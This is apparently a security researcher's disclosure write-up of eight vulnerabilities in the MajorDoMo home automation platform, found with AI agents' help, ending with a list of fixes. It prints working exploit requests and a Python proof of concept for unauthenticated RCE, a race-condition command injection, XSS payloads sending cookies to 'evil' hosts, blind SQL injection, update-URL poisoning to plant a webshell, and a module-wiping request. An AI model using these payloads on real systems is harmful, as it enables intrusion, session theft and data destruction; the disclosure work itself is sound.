MajorDoMo Revisited: What I Missed in 2023
Table of Contents
Context
In late 2023, I published CVE-2023-50917 - an unauthenticated RCE in MajorDoMo’s thumb module. It was my first CVE. I was proud of it, moved on, never looked back.
In February 2026, I pointed AI agents at the same codebase. Within minutes they flagged code paths I had walked right past. Eight bugs, all in the default install, all missed for over two years.
Bug 1: Unauthenticated RCE via Admin Console Eval (Critical)
The admin panel has a PHP console - an intentional feature for authorized admins. The problem is an include order bug in modules/panel.class.php:
// panel.class.php:124-127 - redirect for unauth users... but no exit
if ($tmp['ID']) {
redirect("/");
// execution continues!
}
// panel.class.php:131-134 - ajax handler included WITHOUT checking $this->authorized
global $ajax_panel;
if ($ajax_panel) {
include_once(DIR_MODULES . 'inc_panel_ajax.php');
}
The redirect("/") was meant to stop unauthenticated users, but without exit the code keeps running. Then inc_panel_ajax.php gets included unconditionally. Inside, the console handler reaches eval() directly:
// inc_panel_ajax.php:32-47 - the sink
if ($op == 'console') {
global $command; // ← from GET params via register_globals
$code = explode('PHP_EOL', $command);
foreach ($code as $value) {
$value = trim($value);
if (substr(mb_strtolower($value), 0, 4) == 'echo' || ...) {
evalConsole(trim($value)); // calls eval($code)
} else {
evalConsole(trim($value), 1); // calls eval('print_r(' . $code . ')')
}
}
}
$ajax_panel, $op, and $command all come from GET parameters via register_globals. No authentication check stands between the request and eval().
GET /admin.php?ajax_panel=1&op=console&command=echo+shell_exec('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The PoC is 7 lines of Python:
import requests, sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8899"
r = requests.get(f"{target}/admin.php", params={
"ajax_panel": "1", "op": "console",
"command": "echo shell_exec('id');",
})
print(r.text.strip() or "[-] Not vulnerable")
Bug 2: Command Injection in rc/index.php via Race Condition (Critical)
rc/index.php handles remote commands. The $param variable is injected into double quotes without escapeshellarg():
// rc/index.php:18-23 - source
if(!empty($command) && file_exists('./rc/commands/'.$command.'.bat')) {
$commandPath = DOC_ROOT.'/rc/commands/'.$_GET['command'].'.bat';
if(!empty($param))
$commandPath .= ' "'.$param.'"'; // ← shell metacharacters pass through
safe_exec($commandPath);
}
The irony: safe_exec() is not safe at all. It just inserts the command string into the database:
// lib/common.class.php:751 - safe_exec() is just SQLInsert
function safe_exec($command, $exclusive = 0, $priority = 0, $on_complete = '') {
$rec = array();
$rec['COMMAND'] = $command; // ← no sanitization
$rec['ID'] = SQLInsert('safe_execs', $rec);
return $rec['ID'];
}
Then cycle_execs.php picks it up and passes it to exec() with zero sanitization:
// scripts/cycle_execs.php:20-38 - the sink
SQLExec("DELETE FROM safe_execs"); // purge on startup
while (1) {
if ($safe_execs = SQLSelectOne("SELECT * FROM safe_execs ORDER BY PRIORITY DESC, ID")) {
$command = $safe_execs['COMMAND'];
SQLExec("DELETE FROM safe_execs WHERE ID = '" . $safe_execs['ID'] . "'");
exec($command); // ← attacker-controlled string from the queue
}
sleep(1);
}
Default .bat files like shutdown.bat exist in every install, so file_exists() passes. But the interesting part is the trigger.
cycle_execs.php is web-accessible with no auth. On startup it purges the queue (DELETE FROM safe_execs), then enters a while(1) loop polling every second. So you can’t just inject then trigger - the purge kills your payload.
The trick is a race condition: start the worker first (it purges and enters the loop), then inject while it’s polling. Next iteration picks up and executes your payload.
GET /scripts/cycle_execs.php <- start worker (blocks, loops forever)
GET /rc/?command=shutdown¶m=$(id > /tmp/pwned) <- inject during loop
Within 1 second, cycle_execs.php picks up the queued command and calls exec():
/var/www/html/rc/commands/shutdown.bat "$(id > /tmp/pwned)"
$(id > /tmp/pwned) expands inside the double quotes. Full RCE, not blind.
Bug 3: Reflected XSS in command.php (Medium)
Classic missing htmlspecialchars() on $qry:
<input type="text" name="qry" value="<?php echo $qry;?>" ...>
echo "<p>Command: <b>" . $qry . "</b></p>";
GET /command.php?qry="><img src=x onerror=alert(1)>
Bug 4: Stored XSS via Property Set to Admin Session Hijack (High)
The /objects/?op=set endpoint is intentionally unauthenticated - IoT devices use it. The handler is minimal:
// objects/index.php:131 - source, no auth
if ($op == 'set') {
$obj->setProperty($p, $v); // ← stored raw in DB
echo "OK";
}
The sink is the admin panel’s property editor template, which renders values without escaping:
<!-- objects_edit_properties.html:114 - the sinks -->
<!-- SOURCE rendered raw in a <p> tag - fires on page load, no click needed -->
<p>Source → [#SOURCE#] → [#UPDATED#]</p>
<!-- VALUE rendered raw in a <textarea> - breakout with </textarea> -->
<textarea name="value[#ID#]">[#VALUE#]</textarea>
The session cookie (prj=...) has no HttpOnly flag, making it stealable via JavaScript.
The attack chain: enumerate properties via /api.php/data/ThisComputer (returns everything, no auth), poison any property with JS, wait for the admin to open the properties page. The XSS fires from the SOURCE field on page load - no click needed.
GET /objects/?object=ThisComputer&op=set&p=testProp&v=<img src=x onerror=fetch('https://evil/'+document.cookie)>
Bonus: /objects/?op=get returns values with Content-Type: text/html, so navigating directly to the get endpoint also fires the payload in the browser.
Bug 5: Stored XSS via Method Params to Shoutbox (High)
This one came from re-examining the false positives. The AI had flagged /objects/?method= as “unauthenticated method execution” and I dismissed it - you can call methods but you can’t inject your own code, so it’s not RCE. The methods are stored PHP that gets eval()’d, but the attacker doesn’t control the code.
What I missed: some default methods pass attacker-controlled params directly into say(). For example, ThisComputer.VolumeLevelChanged:
// source - method code stored in DB, params from $_REQUEST
$volume=round(65535*$params['VALUE']/100);
say("Изменилась громкость до ".$params['VALUE']." процентов");
$params['VALUE'] comes from $_REQUEST. The say() function stores the message raw in the shouts table:
// lib/messages.class.php:140 - say() stores raw, no escaping
function say($ph, $level = 0, $member_id = 0, $source = '') {
$rec = array();
$rec['MESSAGE'] = $ph; // ← raw HTML/JS stored in DB
$rec['ID'] = SQLInsert('shouts', $rec);
}
The shoutbox widget renders the message without escaping in two places:
// shouts_search.inc.php:159 - PHP rendering sink
$txtdata .= "<b>" . $res[$i]['NAME'] . "</b>: " . nl2br($res[$i]['MESSAGE']) . "<br>";
// nl2br() converts newlines but does NOT escape HTML
<!-- shouts_search_admin.html:64 - template rendering sink -->
[#MESSAGE#]
<!-- rendered raw in a <td>, no escaping -->
The dashboard widget auto-refreshes every 3 seconds - no click needed.
GET /objects/?method=ThisComputer.VolumeLevelChanged&VALUE=<img src=x onerror=fetch('https://evil/'+document.cookie)>
Payload stored in DB as Изменилась громкость до <img src=x onerror=...> процентов. Next time any admin loads the dashboard, XSS fires. Same cookie steal as Bug 4, different injection vector.
Bug 6: Unauthenticated SQL Injection in Commands Module (High)
This one was hiding in plain sight. The commands module’s search file interpolates $_GET['parent'] directly into SQL:
$tmp = SQLSelectOne("SELECT ID FROM commands WHERE PARENT_ID='" . $_GET['parent'] . "'");
Four queries in the same block, all using the unsanitized value. The module is loadable without authentication via /objects/?module=commands - MajorDoMo’s object endpoint includes arbitrary modules by name and calls their usual() method.
Time-based blind SQLi confirms it cleanly:
GET /objects/?module=commands&parent=' UNION SELECT SLEEP(3)-- -
Baseline response: 27ms. With SLEEP(3): 3.019s. With SLEEP(5): 5.022s. Precise to the millisecond.
The interesting detail: OR SLEEP(3) doesn’t work here the way you’d expect. The commands table has many rows, and MySQL evaluates SLEEP() per row, so OR SLEEP(3) with 30 rows means a 90-second delay that times out. UNION SELECT executes exactly once - that’s the right technique for multi-row tables.
From here it’s standard blind extraction - database names, table contents, credentials. MajorDoMo stores admin passwords as unsalted MD5 in the users table, so extraction leads directly to admin panel access.
Bug 7: Supply Chain RCE via Update URL Poisoning (Critical)
This one came from systematically checking which modules expose admin() through usual() without authentication. Fourteen modules do this. Most are harmless because the dangerous code paths check $this->mode or $this->view_mode, which only get set when getParams() is called - and getParams() is never called through the /objects/?module=X entry point.
But saverestore uses gr('mode') instead of $this->mode. gr() reads directly from $_REQUEST. Two handlers are reachable:
// saverestore.class.php - source, reachable without auth via /objects/?module=saverestore
if (gr('mode') == 'auto_update_settings') {
$this->config['MASTER_UPDATE_URL'] = gr('set_update_url'); // ← attacker URL stored in DB
$this->saveConfig();
}
if (gr('mode') == 'force_update') {
$this->autoUpdateSystem(); // ← triggers the full chain below
}
autoUpdateSystem() fetches an Atom feed from the (now poisoned) URL, validates it trivially, then downloads and deploys the tarball:
// saverestore.class.php:1787-1835 - autoUpdateSystem() chain
$update_url = $this->getUpdateURL(); // ← reads poisoned URL from DB config
$github_feed_url = str_replace('/archive/', '/commits/', $update_url);
$github_feed_url = str_replace('.tar.gz', '.atom', $github_feed_url);
$github_feed = getURL($github_feed_url); // ← fetches attacker's fake Atom feed
// "validation" - attacker controls the server, so this always passes
$items = XMLTreeToArray(GetXMLTree($github_feed))['feed']['entry'];
$latest_tm = strtotime($items[0]['updated']['textvalue']);
if ($latest_tm && (time() - $latest_tm) / 86400 < $delay) return; // needs >1 day old
$res = $this->getLatest($out, 1); // downloads tarball via curl
$res = $this->upload($out, 1); // extracts and deploys
getLatest() downloads the tarball with no integrity check:
// saverestore.class.php:558-567 - getLatest() downloads with curl
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); // ← attacker URL
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // ← no TLS verification
curl_setopt($ch, CURLOPT_FILE, $f); // ← writes to cms/saverestore/master.tgz
curl_exec($ch);
upload() extracts the tarball and copies everything to the webroot:
// saverestore.class.php:1379,1454 - upload() sinks
exec('tar xzvf ../' . $file); // ← extracts attacker's tarball
// then copies ALL extracted files to the document root
copyTree(DOC_ROOT . '/cms/saverestore/temp' . $folder, DOC_ROOT, 1);
// ← attacker's PHP files are now live in the webroot
The attack chain: poison the URL, serve a fake feed and a tarball containing a PHP webshell, trigger force_update. MajorDoMo downloads your tarball and deploys it to its own webroot. Full RCE, two GET requests from the attacker’s side.
GET /objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://evil.com/archive/master.tar.gz
GET /objects/?module=saverestore&mode=force_update
The PoC is a self-contained Python script that starts an HTTP server, serves both the atom feed and the malicious tarball, poisons the URL, triggers the update, and confirms the webshell was deployed. End to end in about 30 seconds.
Bug 8: Unauthenticated Module Uninstall via Market (High)
Same root cause as Bug 7, different module. The market module’s admin() reads gr('mode') and assigns it to $this->mode at the start of the method:
// market.class.php:141-147 - source
$name = gr('name'); // ← from $_REQUEST
$mode = gr('mode'); // ← from $_REQUEST
if (!$this->mode && $mode) {
$this->mode = $mode; // ← makes ALL mode checks reachable without auth
}
This makes every $this->mode check in the method reachable without auth. The most destructive one is mode=uninstall, which reaches uninstallPlugin():
// market.class.php:771-797 - the sink
function uninstallPlugin($name, $frame = 0) {
SQLExec("DELETE FROM plugins WHERE MODULE_NAME LIKE '" . DBSafe($name) . "'");
if (is_dir(ROOT . 'modules/' . $name)) {
include_once(ROOT . 'modules/' . $name . '/' . $name . '.class.php');
SQLExec("DELETE FROM project_modules WHERE NAME LIKE '" . DBSafe($name) . "'");
eval('$plugin = new ' . $name . ';$plugin->uninstall();'); // calls module's uninstall()
$this->removeTree(ROOT . 'modules/' . $name); // ← deletes module files
$this->removeTree(ROOT . 'templates/' . $name); // ← deletes template files
// also deletes cycle script
$cycle_name = ROOT . 'scripts/cycle_' . $name . '.php';
if (file_exists($cycle_name)) @unlink($cycle_name);
}
}
One GET request per module, no authentication:
GET /objects/?module=market&mode=uninstall&name=dashboard
An attacker could iterate through all module names and wipe the entire installation.
The Trap: AI Slop is Real
Honest moment: the AI agents initially reported 12 vulnerabilities. I almost shipped that. Most of them were garbage - but not all.
My first approach was throwing multiple agents at the entire codebase in parallel. Broad sweep, maximum coverage. The result was a wall of noise. The agents flagged things like /api.php/method/, /objects/?op=set, X-Forwarded-For trust - all by design. MajorDoMo is a home automation platform. IoT sensors need unauthenticated endpoints on the local network. That’s not a bug, that’s the architecture.
Worse, the first PoC script I generated was cheating - it pre-seeded the database with a malicious script via Docker, then “exploited” it. That’s not a remote exploit, that’s a lie.
What actually worked was slowing down. Instead of spraying agents across the whole codebase, I focused on one module at a time, one code path at a time. I’d point the agent at a specific file, read its output, then manually verify the context before moving on. Is $this->mode set from getParams() or from gr()? Does usual() call admin() directly? Does the template parser actually run through this entry point? These questions matter, and the AI doesn’t ask them on its own.
The difference was night and day. The broad sweep gave me 12 findings, 4 of which were real. The focused approach - going back through the same codebase slowly, checking one module at a time - found the remaining 4. Bugs 7 and 8 both came from patiently tracing the gr('mode') vs $this->mode distinction across individual modules, not from some automated scan.
It also changed how I handled false positives. Ironically, the AI dismissed /objects/?op=set as “by design” and moved on - it took me asking “but can we XSS through it?” to find Bug 4. Bug 5 is another example: AI flagged “unauthenticated method execution” as a vuln, I dismissed it as by-design because you can’t inject code. Both were right. The real vuln was neither - it was the method params flowing unsanitized into say() then into the shoutbox template. AI couldn’t see that chain, and I almost didn’t bother looking twice.
And even on the real bugs, AI missed the interesting parts. Bug 2 was initially rated Medium - “blind async command injection, payload sits in a queue until the worker runs.” I asked one question: can we call cycle_execs.php from the web? Turns out yes, no auth, and you can race it - start the worker, inject while it polls, RCE in under a second. That bumped it from Medium to Critical.
The lesson: AI finds candidates. You validate them. If you skip the validation step you end up publishing AI slop dressed as security research, and that’s worse than finding nothing. But slow down. Go one file at a time. And go back to your false positives - sometimes the AI flagged the right file for the wrong reason.
Fix
Ten files changed:
modules/panel.class.php- addexitafter redirect + auth check before ajax includerc/index.php-escapeshellarg()+ command name validationcommand.php-htmlspecialchars()on$qrytemplates/objects/objects_edit_properties.html- useVALUE_HTMLandSOURCE_HTMLinstead of raw valuesmodules/objects/objects_edit.inc.php- addSOURCE_HTMLwithhtmlspecialchars()objects/index.php-Content-Type: text/plainon property getmodules/shoutbox/shouts_search.inc.php-htmlspecialchars()on MESSAGE and NAME before renderingtemplates/shoutbox/shouts_search_admin.html- useMESSAGE_HTMLinstead of rawMESSAGEmodules/commands/commands_search.inc.php-(int)cast onparentparameter in all SQL queriesmodules/saverestore/saverestore.class.php- gateforce_updateandauto_update_settingsbehind$this->action == 'admin'modules/market/market.class.php- gategr('mode')assignment behind$this->action == 'admin'